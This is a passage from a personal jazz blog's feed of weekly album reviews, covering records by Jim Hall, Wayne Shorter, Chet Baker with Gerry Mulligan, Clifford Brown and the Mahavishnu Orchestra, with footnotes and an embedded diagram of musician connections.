href="https://simpsonian.ca/fifty-weeks-of-jazz/week-10/">Chet Baker</a> ring a bell‽ (I hope I'm not the only one <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-41/">getting déjà vu</a>.) In terms of mood, I find Hall's version to be quite different from either the original or Davis's cover: it's certainly cooler and more relaxed than <em>Sketches of Spain</em>; it's not nearly as in-your-face with its dynamics. I also find it has a fundamentally jazzier character: we've really shed all classical formalities at this point, but without sacrificing that poignant, haunting melody.</p> <p>For all that beauty though, I will confess that this album didn't hook me off the bat. Perhaps that is temperamental: I have made it clear previously that <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-20/">I am not a man of subtleties</a>. As such, I sometimes need time to warm up to cool jazz, as it were—I wouldn't say <em>Concierto</em> astounds or astonishes on the first play (unlike, e.g., <em><a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-39/">Birds of Fire</a></em>), but subsequent listens begin to reveal the great splendor of this garden.</p> <p>Well, that takes us to 1975, but the story of <em>Concierto de Aranjuez</em> doesn't end with Hall's <em>Concierto</em>: Wikipedia lists <a rel="external" href="https://en.wikipedia.org/wiki/Concierto_de_Aranjuez#Interpretations">dozens of covers and references</a>, many of which are jazz-tinged. Some of my personal favourites include:</p> <ul> <li><a rel="external" href="https://en.wikipedia.org/wiki/Buckethead">Buckethead</a>'s <a rel="external" href="https://www.youtube.com/watch?v=9qOVJchi_eo">version</a>, which is predictably skull-melting (in the best possible way). Although <em>technically</em> he was covering <em>Sketches of Spain</em>, not Rodrigo directly, so this is a cover of a cover… it's Aranjuez all the way down.</li> <li><a rel="external" href="https://en.wikipedia.org/wiki/Herb_Alpert">Herb Alpert</a> put a spin on it in his 1979 album, <em>Rise</em>, titled "<a rel="external" href="https://www.youtube.com/watch?v=0B_CVFnAhEI">Aranjuez (mon amour)</a>." This one is way more club-dance-funk-y, at times getting closer to the Middle East than Spain—it also quotes the first movement, not just the second.</li> </ul> <p>I must say, I sure am glad that Rodrigo failed to block the release of Davis's cover of <em>Concierto de Aranjuez</em>. Yes, creators deserve to be paid for their work, but once a piece of music like this is published, it takes on a life of its own: clearly it has inspired, influenced, and <em>moved</em> so many other musicians, who then proffered their own interpretations in an ongoing, worldwide conversation—I have little sympathy for those who would prematurely stifle that discourse for a miserly accounting of royalties. <em>¡Música para todos!</em></p> <p><em>Favourite track:</em> Concierto de Aranjuez<sup class="footnote-reference"><a href="#concierto-favourite-track">2</a></sup></p> <hr> <div class="footnote-definition" id="john-williams-confusion"><sup class="footnote-definition-label">1</sup> <p>No, not the John Williams you're thinking of; <a rel="external" href="https://en.wikipedia.org/wiki/John_Williams_(guitarist)">the classical guitarist</a>. Though interestingly, <a rel="external" href="https://en.wikipedia.org/wiki/John_Williams">John-Williams-the-composer</a> cut his teeth on piano—in fact, he played on the first recording of the <a rel="external" href="https://www.youtube.com/watch?v=Emg_6ANjWzo">Peter Gunn theme</a>, and released a few jazz albums of his own. But if you go looking for those albums, don't mix him up with <a rel="external" href="https://en.wikipedia.org/wiki/John_Williams_(pianist)">John Williams</a>, the jazz pianist.</p> </div> <div class="footnote-definition" id="concierto-favourite-track"><sup class="footnote-definition-label">2</sup> <p>I mean, come on—after all that, did you really expect anything else?</p> </div> 2025-11-16T00:00:00+00:00 2025-11-16T00:00:00+00:00 https://simpsonian.ca/fifty-weeks-of-jazz/week-43/ <p>Indulge me in a little experiment: conjure up some "world music" in your mind's ear. What do you hear? If you're anything like me, the phrase evokes something anodyne and bloodless: vaguely African drumming, mellifluous but unintelligible vocals, and likely little complexity on offer.<sup class="footnote-reference"><a href="#world-music-apology">1</a></sup></p> <p><em>Native Dancer</em> has many of the accoutrements I associate with world music. But pejorative "world music," this is not: it's a rich, nuanced tapestry that captivated me from the first listen. It's also another example of the frustratingly squishy label "jazz fusion" that we've seen <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-20/">several</a> <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-37/">times</a> by now. However, on that front, <em>Native Dancer</em> has a much more legitimate claim to be "fusion" than its peers: it heavily features the enthralling vocals and compositions of the Brazilian musician <a rel="external" href="https://en.wikipedia.org/wiki/Milton_Nascimento">Milton Nascimento</a>—this truly is a blend of jazz <em>and</em> Brazilian traditions.</p> <p>But though Nascimento's contributions here are laudable, he only gets second billing—this is Wayne Shorter's album. It is with no small measure of self-satisfaction that I share I was able to deduce this independently: after my first listen, I knew that I had heard that focused, piercing saxophone tone<sup class="footnote-reference"><a href="#shorter-saxophone-tone">2</a></sup> before; with much straining of neurons I was finally able to discern the source as <em><a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-23/">Heavy Weather</a></em>.<sup class="footnote-reference"><a href="#shorter-on-jaco-pastorius">3</a></sup> Shorter is one of those musicians who seems to have been at the centre of every big jazz group: he cut his teeth with the <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-03/">Jazz Messengers</a>, played with <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-05/">Miles Davis</a>, then left that gig to co-found Weather Report. Oh, and if that wasn't enough, he won <em>Downbeat</em> magazine's critics' choice award for soprano sax—for ten years straight.</p> <p>One of the great successes of <em>Native Dancer</em> is that it lets both Shorter <em>and</em> Nascimento shine. In "Ponta de Areia," "Miracle of the Fishes," and "From the Lonely Afternoons," Nascimento's vocals are the main attraction—layered like rushing waters that create an inexorable current that drags you in and along. Shorter is largely a co-conspirator in these efforts, but he takes command on tracks like "Beauty and the Beast," where he injects a healthy dose of funk, and "Ana Maria." I'm also impressed by the pacing of the album: tracks like "Diana" offer a softer, quieter reprieve between the big vocal numbers. And not to put <em>too</em> fine a point on it, but the <em>jazz</em> element of "jazz fusion" comes through clearly here, unlike <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-39/">a certain other</a> album we've heard.</p> <p>It bears reminding that this is not the first Brazilian album we've heard: on <em><a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-21/">The Best of Two Worlds</a></em>, the standout track was "Aguas de Março," which was inspired by the long, torrential March rains of Rio de Janeiro. <em>Native Dancer</em> is also a distinctly Brazilian album, but in this case… the Wayne's Shorter.</p> <p><em>Favourite track:</em> Ponta de Areia</p> <hr> <div class="footnote-definition" id="world-music-apology"><sup class="footnote-definition-label">1</sup> <p>Before you sharpen your pitchforks: I'm sorry, okay? I'm sure there are many examples of <em>great</em> world music, and yes, slapping this singular label on everything outside the Western canon is farcical. But in my limited experience, anything described as "world music" is more likely to be heard in a waiting room than a concert hall.</p> </div> <div class="footnote-definition" id="shorter-saxophone-tone"><sup class="footnote-definition-label">2</sup> <p>Don't take that the wrong way; I love how Shorter plays.</p> </div> <div class="footnote-definition" id="shorter-on-jaco-pastorius"><sup class="footnote-definition-label">3</sup> <p>Technically we also heard Shorter on one track from Jaco Pastorius's <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-22/">self-titled album</a>. And yes, I'm sure that merely recognizing Shorter's playing is no great feat to you, but we're all on our own journeys here; let me have this.</p> </div> 2025-11-09T00:00:00+00:00 2025-11-09T00:00:00+00:00 https://simpsonian.ca/fifty-weeks-of-jazz/week-42/ <p><a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-41/">Last week</a>, we heard a 1974 Chet Baker album that featured a prominent saxophonist (namely, <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-32/">Paul Desmond</a>). I wasn't so keen on it myself, but clearly the jazz gods are rooting for that specific niche, because this week they insisted upon a mulligan—a <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-14/">Gerry Mulligan</a>, in fact. Yes, less than a month after the final recording date for <em>She Was Too Good to Me</em>, Baker performed at Carnegie Hall alongside Mulligan, giving us this album.</p> <p>I'll not bury the lede: I much prefer <em>Carnegie Hall Concert</em> to <em>She Was Too Good to Me</em>. I wouldn't describe the former as particularly flashy or revolutionary, but it is a cornucopia of fine jazz: eight tracks, most over eight minutes long and each overflowing with fantastic musicianship. Obviously the focus is on Baker and Mulligan—given the smooth, lyrical phrasing they share, it's no wonder their serendipitous partnership from the ’50s entranced both then and now.<sup class="footnote-reference"><a href="#mulligan-baker-partnership">1</a></sup> I've already remarked on Baker's beautiful, pure tone elsewhere, but I'm even more partial to Mulligan: he's equally delicate in his approach, but the force of the baritone sax gives him the ability to conjure drama and tension out of thin air—which he does repeatedly and effectively on this album (e.g., in "It's Sandy At The Beach", or the final couple minutes of "K-4 Pacific"). It's not just a matter of volume: as he gets loud, he also eases up on the self-control, unleashing a throatier, primal, more insistent sound (though nowhere near what Sonny and Hawk <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-12/">get up to</a>).</p> <p>But to focus exclusively on our headliners would be to overlook some equally impressive performances from the ensemble. In particular, <a rel="external" href="https://en.wikipedia.org/wiki/Bob_James_(musician)">Bob James</a> (on piano) frequently steals the show for me: he begins "For An Unfinished Woman" with a simple theme, but one that sets up the intrigue that fuels the rest of the piece; his solo in "My Funny Valentine" is heart-wrenching; and he brings just as much excitement as anyone else to "It's Sandy at the Beach". Our bassist, <a rel="external" href="https://en.wikipedia.org/wiki/Ron_Carter">Ron Carter</a>, keeps things humming throughout and takes centre stage with solos on "K-4 Pacific" and "There Will Never Be Another You".<sup class="footnote-reference"><a href="#james-carter-redux">2</a></sup> And we haven't even gotten into <a rel="external" href="https://en.wikipedia.org/wiki/John_Scofield">John Scofield</a>'s racing guitar solos, nor the fantastic vibraphone and drum work… suffice it to say there's a fairly large group on display here (eight musicians total) and none of them disappoint.</p> <p><em>She Was Too Good to Me</em> was clearly a Baker album with a side of Desmond; by contrast, Mulligan is in the driver's seat this time, having composed most of the tunes. That being said, though, Baker still gets his moments: he sings on "There Will Never Be Another You" (lovely, as always), and of course they take up "My Funny Valentine," which was Baker's signature song. (In fact, it was Baker's recording with Mulligan's quartet in 1953 that was later selected for inclusion in the [American] <a rel="external" href="https://en.wikipedia.org/wiki/National_Recording_Registry">National Recording Registry</a>.) We first heard "My Funny Valentine" on <em><a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-32/">Desmond Blue</a></em>, and I once again prefer this version; just like "Autumn Leaves" from <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-41/">last week</a>, the soaring formality of Desmond's take ends up detracting from the overall emotion—it should be no surprise that Baker is hard to top on home turf.</p> <p>Let us conclude this week with a tripartite connection. One of my high-level takeaways from this project is that the jazz scene is smaller and more tightly-linked than I had expected; in our 42 weeks so far we've discovered connection after connection between many of the big names. In that vein, I find it very aesthetically satisfying that with this album, we have now completed the Baker–Desmond–Mulligan triangle:</p> <!-- Note: this isn't general-purpose at all; I just wanted to include this diagram without embedding the full SVG in the blog post itself (because that's a bit unwieldy). --> <div style="text-align: center;"> <svg xmlns="http://www.w3.org/2000/svg" style="max-width:100%;max-height:182px;" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" width="300px" viewBox="-0.5 -0.5 300 182"><defs/><g><g data-cell-id="0"><g data-cell-id="1"><g data-cell-id="S9Geb9E47wun0Sb_1fKk-1"><g><rect x="100" y="0" width="90" height="50" fill="none" stroke="none" pointer-events="all"/></g><g><g><switch><foreignObject style="overflow: visible; text-align: left;" pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 88px; height: 1px; padding-top: 25px; margin-left: 101px;"><div style="box-sizing: border-box; font-size: 0; text-align: center; color: #000000; "><div style="display: inline-block; font-size: 20px; font-family: 'Lucida Console'; color: light-dark(#000000, #ffffff); line-height: 1.2; pointer-events: all; white-space: normal; word-wrap: normal; "><font>Gerry Mulligan</font></div></div></div></foreignObject><text x="145" y="31" fill="light-dark(#000000, #ffffff)" font-family="'Lucida Console'" font-size="20px" text-anchor="middle">Gerry Mul...</text></switch></g></g></g><g data-cell-id="S9Geb9E47wun0Sb_1fKk-10"><g><path d="M 255 135 L 190 50" fill="none" stroke="#000000" style="stroke: light-dark(rgb(0, 0, 0), rgb(255, 255, 255));" stroke-miterlimit="10" pointer-events="stroke"/></g><g data-cell-id="S9Geb9E47wun0Sb_1fKk-11"><g><g><switch><foreignObject style="overflow: visible; text-align: left;" pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 1px; height: 1px; padding-top: 90px; margin-left: 222px;"><div style="box-sizing: border-box; font-size: 0; text-align: center; color: #000000; background-color: #ffffff; "><div style="display: inline-block; font-size: 13px; font-family: 'Lucida Console'; color: light-dark(#000000, #ffffff); line-height: 1.2; pointer-events: all; background-color: light-dark(#ffffff, var(--ge-dark-color, #121212)); white-space: nowrap; "><a href="/fifty-weeks-of-jazz/week-14/"><font><i>Two of a Mind</i></font></a></div></div></div></foreignObject><text x="222" y="94" fill="light-dark(#000000, #ffffff)" font-family="'Lucida Console'" font-size="13px" text-anchor="middle">Two of a Mind</text></switch></g></g></g></g><g data-cell-id="S9Geb9E47wun0Sb_1fKk-2"><g><rect x="210" y="135" width="90" height="45" fill="none" stroke="none" pointer-events="all"/></g><g><g><switch><foreignObject style="overflow: visible; text-align: left;" pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 88px; height: 1px; padding-top: 158px; margin-left: 211px;"><div style="box-sizing: border-box; font-size: 0; text-align: center; color: #000000; "><div style="display: inline-block; font-size: 20px; font-family: 'Lucida Console'; color: light-dark(#000000, #ffffff); line-height: 1.2; pointer-events: all; white-space: normal; word-wrap: normal; "><font>Paul<br />Desmond</font></div></div></div></foreignObject><text x="255" y="164" fill="light-dark(#000000, #ffffff)" font-family="'Lucida Console'" font-size="20px" text-anchor="middle">Paul...</text></switch></g></g></g><g data-cell-id="S9Geb9E47wun0Sb_1fKk-4"><g><path d="M 35 135 L 100 50" fill="none" stroke="#000000" style="stroke: light-dark(rgb(0, 0, 0), rgb(255, 255, 255));" stroke-miterlimit="10" pointer-events="stroke"/></g><g data-cell-id="S9Geb9E47wun0Sb_1fKk-7"><g><g><switch><foreignObject style="overflow: visible; text-align: left;" pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 1px; height: 1px; padding-top: 89px; margin-left: 68px;"><div style="box-sizing: border-box; font-size: 0; text-align: center; color: #000000; background-color: #ffffff; "><div style="display: inline-block; font-size: 13px; font-family: 'Lucida Console'; color: light-dark(#000000, #ffffff); line-height: 1.2; pointer-events: all; background-color: light-dark(#ffffff, var(--ge-dark-color, #121212)); white-space: nowrap; "><a href="/fifty-weeks-of-jazz/week-42/"><font><i>Carnegie Hall<br />Concert</i></font></a></div></div></div></foreignObject><text x="68" y="93" fill="light-dark(#000000, #ffffff)" font-family="'Lucida Console'" font-size="13px" text-anchor="middle">Carnegie Hall...</text></switch></g></g></g></g><g data-cell-id="S9Geb9E47wun0Sb_1fKk-6"><g><path d="M 70 157.5 L 210 157.5" fill="none" stroke="#000000" style="stroke: light-dark(rgb(0, 0, 0), rgb(255, 255, 255));" stroke-miterlimit="10" pointer-events="stroke"/></g><g data-cell-id="S9Geb9E47wun0Sb_1fKk-9"><g><g><switch><foreignObject style="overflow: visible; text-align: left;" pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 1px; height: 1px; padding-top: 157px; margin-left: 138px;"><div style="box-sizing: border-box; font-size: 0; text-align: center; color: #000000; background-color: #ffffff; "><div style="display: inline-block; font-size: 13px; font-family: 'Lucida Console'; color: light-dark(#000000, #ffffff); line-height: 1.2; pointer-events: all; background-color: light-dark(#ffffff, var(--ge-dark-color, #121212)); white-space: nowrap; "><a href="/fifty-weeks-of-jazz/week-41/"><font><i>She Was Too<br />Good to Me</i></font></a></div></div></div></foreignObject><text x="138" y="161" fill="light-dark(#000000, #ffffff)" font-family="'Lucida Console'" font-size="13px" text-anchor="middle">She Was Too...</text></switch></g></g></g></g><g data-cell-id="S9Geb9E47wun0Sb_1fKk-3"><g><rect x="0" y="135" width="70" height="45" fill="none" stroke="none" pointer-events="all"/></g><g><g><switch><foreignObject style="overflow: visible; text-align: left;" pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 68px; height: 1px; padding-top: 158px; margin-left: 1px;"><div style="box-sizing: border-box; font-size: 0; text-align: center; color: #000000; "><div style="display: inline-block; font-size: 20px; font-family: 'Lucida Console'; color: light-dark(#000000, #ffffff); line-height: 1.2; pointer-events: all; white-space: normal; word-wrap: normal; "><font>Chet<br />Baker</font></div></div></div></foreignObject><text x="35" y="164" fill="light-dark(#000000, #ffffff)" font-family="'Lucida Console'" font-size="20px" text-anchor="middle">Chet...</text></switch></g></g></g></g></g></g><switch><g requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"/><a transform="translate(0,-5)" xlink:href="https://www.drawio.com/doc/faq/svg-export-text-problems" target="_blank"><text text-anchor="middle" font-size="10px" x="50%" y="100%">Text is not SVG - cannot display</text></a></switch></svg> </div> <p><em>Favourite track:</em> K-4 Pacific</p> <hr> <div class="footnote-definition" id="mulligan-baker-partnership"><sup class="footnote-definition-label">1</sup> <p>Unfortunately their original partnership lasted less than two years—like Baker, Mulligan was addicted to heroin at this point, and his arrest in 1953 abruptly ended the collaboration; <em>Carnegie Hall Concert</em> is one of two "reunion" recordings they made much later. Unlike Baker though, Mulligan's story has a happy ending: he was eventually able to kick the habit. You can read Mulligan's own recollection of those times in his <a rel="external" href="https://www.loc.gov/collections/gerry-mulligan/articles-and-essays/jeru-in-the-words-of-gerry-mulligan/addictions/">oral biography</a>.</p> </div> <div class="footnote-definition" id="james-carter-redux"><sup class="footnote-definition-label">2</sup> <p>I didn't point them out in particular last week, but both James and Carter also played on <em>She Was Too Good to Me</em>. Carter happens to hold the Guinness World Record for <a rel="external" href="https://www.guinnessworldrecords.com/news/2016/1/ron-carter-earns-world-record-as-the-most-recorded-jazz-bassist-in-history-411828">most recorded jazz bassist</a> <em>ever</em>, so it should never be too surprising when he turns up—I wonder how many times I've heard him already without even noticing.</p> </div> 2025-11-02T00:00:00+00:00 2025-11-02T00:00:00+00:00 https://simpsonian.ca/fifty-weeks-of-jazz/week-41/ <p>They say that no man ever steps in the same river twice. Well, it's been nearly eight months since <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-10/">we last heard</a> from certified super-crooner Chet Baker—have the waters changed in the interim, or have we? As is so often the case, I think the answer is both.</p> <p><em>She Was Too Good to Me</em>, released in 1974, is often described as a comeback album. That's… surprising, given that our last Baker album was titled <em>Chet is Back!</em> and released some 12 years earlier, but there's no real contradiction here: Baker faced many setbacks in his life—almost entirely owing to his all-consuming heroin addiction—and, to his credit, he staged comeback after comeback in response. In fact, conceiving of <em>Chet is Back!</em> as a comeback seems quaint in retrospect; that release celebrated the end of roughly a year of jail time related to his drug use. The comeback behind <em>She Was Too Good to Me</em> was far more dramatic: a drug deal gone wrong in 1966 led to Baker losing his teeth, ruining his embouchure and temporarily estranging him from his beloved instruments;<sup class="footnote-reference"><a href="#chet-baker-instruments">1</a></sup> <em>She Was Too Good to Me</em> was his major release after that extended hiatus.</p> <p><em>She Was Too Good to Me</em> is beautiful, sweeping, and at times a touch haunting—Baker's life was never easy, and the weight of that dull heartache comes through clearly on the album, particularly in the vocals. I generally prefer my jazz wordless, but Baker's singing is commendable: I find his phrasing compelling, and the lyrics, while simple, generally manage to steer clear of the overt kitsch that puts me off some other (particularly older) works.</p> <p>Yet despite all that, I still prefer the instrumentals—particularly "Autumn Leaves," which pairs Baker with the ever-smooth <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-27/">Paul Desmond</a> for a can't-miss combination. Interestingly, we've already heard Desmond himself cover "Autumn Leaves" on <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-32/">his solo album</a>.<sup class="footnote-reference"><a href="#desmond-autumn-leaves">2</a></sup> I prefer the partnership with Baker: Desmond's solo take is a bit dramatic and formal (in keeping with the overall style of that album—listen to the flute and woodwind play catch with a very classical theme around the 2:30 mark). The version with Baker is more <em>fun</em>: it has more strut and swing, not to mention a sweet keyboard solo—and of course it features the incredible tones of both Desmond and Baker, both of whom give great performances here.<sup class="footnote-reference"><a href="#autumn-leaves-showdown-part-2">3</a></sup></p> <p>On the whole, I'd pick <em>Chet is Back!</em> over <em>She Was Too Good to Me</em>. The former is more muscular and energetic; there's still raw emotion on offer (just listen to Baker solo on "Over the Rainbow"), but it's not as much plaintive heartbreak. Plus, "Ballata in forma di blues" still hooks me in a way that no other track across those two albums can. Fundamentally, I suppose I prefer Chet's blowing to his crooning.</p> <p>One final note for this week: we've seen <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-31/">many</a> <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-36/">albums</a> with great cover art, but this one mystified me; I could make neither heads nor tails of this blurry, abstract pointillism. Give it a go yourself, then click below for the real answer:</p> <figure> <img src="/fifty-weeks-of-jazz/week-41/./she_was_too_good_to_me_front_cover.jpg" alt="The album art for _She Was Too Good to Me_; the background is an indistinct, grainy purple-orange-pink blur." class="centre"> </figure> <details> <summary>What the cover <em>really</em> shows</summary> I said I couldn't make heads or tails of this, but as it happens, the correct answer <em>is</em> heads (well, just one head), which I learned from Doug Payne's <a href="https://dougpayne.com/chet-baker-she-was-too-good-to-me-at-50/">wonderful article</a> on the album. It becomes far more obvious when you abut the rear image against the front: <figure> <img src="/fifty-weeks-of-jazz/week-41/./she_was_too_good_to_me_front_and_back_covers.jpg" alt="The front and back album art for _She Was Too Good to Me_, abutting and clearly showing a photo of a woman's face." class="centre"> </figure> </details> <p><em>Favourite track:</em> Autumn Leaves</p> <hr> <div class="footnote-definition" id="chet-baker-instruments"><sup class="footnote-definition-label">1</sup> <p>Not just his trumpet, he played the flugelhorn too.</p> </div> <div class="footnote-definition" id="desmond-autumn-leaves"><sup class="footnote-definition-label">2</sup> <p>Note that "Autumn Leaves" isn't on the original release of <em>Desmond Blue</em>; it must've been added as an extra to the re-release I have.</p> </div> <div class="footnote-definition" id="autumn-leaves-showdown-part-2"><sup class="footnote-definition-label">3</sup> <p>You can tell "Autumn Leaves" is a much-covered piece, because we already pitted two <em>other</em> recordings of it against each other in our <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-24/">Standards Showdown</a> a while back. I still think Garner delivers the most emotional force, but he's also taking some greater liberties with the tune; for my money, the Baker/Desmond version goes toe-to-toe with Wynton's.</p> </div> 2025-10-26T00:00:00+00:00 2025-10-26T00:00:00+00:00 https://simpsonian.ca/fifty-weeks-of-jazz/week-40/ <p>The title of this week's album—<em>The Beginning and the End</em>—suggests some division into two pieces, and after a first listen it isn't difficult to spot the seam joining the two. The album is roughly 35 minutes long, and in the first five minutes we've already knocked out the first two tracks ("I Come From Jamaica" and "Ida Red"): both are fun and catchy enough, but they're immediately old-fashioned to my ear, and not in a flattering way. Part of it is the lyrics ("I come from Jamaica / Jamaica she my home / Fish and rice / VEEERY NICE!"), but there's also something unmistakeably <em>cheesy</em> about them that's a dead giveaway—though to dissect these two Chris Powell songs start-to-end would rather miss the point; they're only included here as vehicles for the hot Clifford Brown trumpet solos they feature.<sup class="footnote-reference"><a href="#chris-powell-context">1</a></sup> The remaining 30 minutes, by contrast, consists of three extended bebop performances (including a rendition of "Donna Lee," which we first heard on Jaco Pastorius's <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-22/">eponymous album</a>) that truly allow Brown to shine. These tracks most remind me of <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-25/">the Parker "album"</a> we previously heard—at that time I wasn't particularly entranced by bebop overall, but for some reason this week it grabbed my attention. Maybe it's the casual club setting of the later session, but these three tracks really come <em>alive</em>; I keenly feel I'm sitting at a crowded table in a smoke-filled room, surrounded by patrons equally excited and dazzled by the dynamic, unpredictable solos Brown is belting out on his horn.</p> <p>Now that we've distinguished the "beginning" from the "end," what do they represent, exactly? Sadly, there is no clever metaphor here: these are Clifford Brown's earliest and latest known studio recordings. In 1952, Brown recorded some tracks with Chris Powell &amp; The Five Blue Flames; less than four years later he recorded a live set at Music City Club in Philadelphia;<sup class="footnote-reference"><a href="#brown-final-set">2</a></sup> and on a dark night in June 1956, Brown was killed in a car crash. He was just 25 years old.</p> <p>Though Brown's career was short, it undoubtedly left an outsized impact on jazz—even within his own lifetime he was seen as a pioneering figure of bebop and a distinctively talented trumpet player. Brown was best known for his quintet with <a rel="external" href="https://en.wikipedia.org/wiki/Max_Roach">Max Roach</a>, but he also played with <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-03/">Art Blakey</a>, before Blakey's group even <em>was</em> the Jazz Messengers. As one example of Brown's legacy, consider <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-37/">Freddie Hubbard</a>: Hubbard (a fellow trumpet player) joined the Messengers in 1961, and one has to imagine the works of his instrumental forebear were on his mind. In fact, should you wish to better understand how Brown influenced Hubbard, allow me to refer you to either <a rel="external" href="https://jamesmoorejazz.com/">James Moore</a>'s 366-page <a rel="external" href="https://d-scholarship.pitt.edu/11673/">doctoral thesis</a> on the subject, or this <a rel="external" href="https://www.youtube.com/watch?v=fs0EJuJWdQQ">2-minute AI slop video</a><sup class="footnote-reference"><a href="#ai-slop-b-roll">3</a></sup> with two views (one of which is me); two sources that I presume are of roughly equal scholarly value.</p> <br> <p>To study the history of jazz is to become acquainted with a litany of individual calamities: all too often, drink and drugs made quick work of the most promising jazzmen. But among those many tragedies, the loss of Brown makes us bristle with particular indignation—a rising genius who lived clean in an era when few did, his time upon this stage cut short without rhyme or reason. We can only be grateful that on his way out he left us these few treasures to remember him by.</p> <p><em>Favourite track:</em> Walkin’</p> <hr> <div class="footnote-definition" id="chris-powell-context"><sup class="footnote-definition-label">1</sup> <p>If you do care to learn more about these tracks in general, <a rel="external" href="https://www.spontaneouslunacy.net/">Spontaneous Lunacy</a> has full articles contextualizing the importance of both "<a rel="external" href="https://www.spontaneouslunacy.net/chris-powell-the-five-blue-flames-i-come-from-jamaica-okeh-6900/">I Come From Jamaica</a>" and "<a rel="external" href="https://www.spontaneouslunacy.net/chris-powell-the-five-blue-flames-ida-red-okeh-6875/">Ida Red</a>" in the world of rock (not jazz!).</p> </div> <div class="footnote-definition" id="brown-final-set"><sup class="footnote-definition-label">2</sup> <p>Several sources (including the album notes) claim that this final performance was mere hours before the crash, which strikes me as a shade too perfect to be true; others (including <a rel="external" href="https://en.wikipedia.org/wiki/The_Beginning_and_the_End_%28Clifford_Brown_album%29#cite_note-Catalano_2000_9-40">a biographer of Brown</a>) have suggested the club recording might date back to 1955.</p> </div> <div class="footnote-definition" id="ai-slop-b-roll"><sup class="footnote-definition-label">3</sup> <p>Allow me to stress once more that the putative subject of this video is a nuanced comparison of Clifford Brown and Freddie Hubbard, two widely-acclaimed trumpeters. What features in the video's B-roll? One person on keys, another on saxophone, and two separate drummers—nice. (Yes, I know the video is all made up anyways.)</p> </div> 2025-10-20T00:00:00+00:00 2025-10-20T00:00:00+00:00 https://simpsonian.ca/fifty-weeks-of-jazz/week-39/ <p>Mahavishnu Orchestra? More like "Make-Mah-Wish-True" Orchestra, because this psychedelic goodness is opening my third eye—am I right??</p> <p>…ahem. You'll have to forgive me—<a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-37/">two weeks ago</a> we were debating whether we'd had our first sampling of proper prog; in this case there's zero ambiguity and I summarily overdosed.</p> <p><em>Birds of Fire</em> is, to my ears, a space epic:<sup class="footnote-reference"><a href="#birds-of-fire-movie">1</a></sup> the opening track opens up a wormhole that distorts time and space itself; the dissonant guitar of this other dimension wrestles with the steady strings of our homeworld. That conflict between guitar and violin—manifest in one solo showdown after another—is a feature throughout the album. At other points I hear spaceships charging up for hyperdrive ("Sapphire Bullets of Pure Love"), seemingly Latin-inspired riffs ("Thousand Island Park"), a chaotic chase sequence ("One Word"), eavesdropping on a bizarre alien ceremonial rite ("Sanctuary"), then finally a safe return home ("Open Country Joy")—JUST KIDDING, WE'RE BLASTING OFF ONE MORE TIME!—aaand coming back down again, finally concluding with a foreboding imperial theme that teases the conflict we'll explore in the second <del>movie</del> album.</p> <p>So yes, <em>Birds of Fire</em> is excellent. But an elephant abounds: is it <em>jazz</em>? No, obviously not. This time I have the credentials to prove it.</p> <p>You see, recently I've had the pleasure of joining Jazz at Lincoln Center's fantastic <a rel="external" href="https://jazz.org/education/public-programs/swing-u/">Jazz 101</a> class, and in the first lecture Seton Hawkins is sure to impress the following conservative, three-element definition of jazz upon you (remember, this is <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-24/">Wynton's turf</a>; he's the artistic director).<sup class="footnote-reference"><a href="#jacl-jazz-definition">2</a></sup> To truly be jazz, the music must include:</p> <ol> <li>Blues expression<sup class="footnote-reference"><a href="#blues-expression">3</a></sup></li> <li>Swing rhythm</li> <li>An emphasis on improvisation</li> </ol> <p>Apparently live performances of <em>Birds of Fire</em> knocked 3) out of the park, but I have a hard time locating 1) and 2) myself, and simply referencing <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-05/">Davis</a> in a track title ("Miles Beyond") does not jazz make. I must be wrong—every reference I've seen to this album describes it as "jazz fusion" first and foremost—and yet I find myself unable to square that 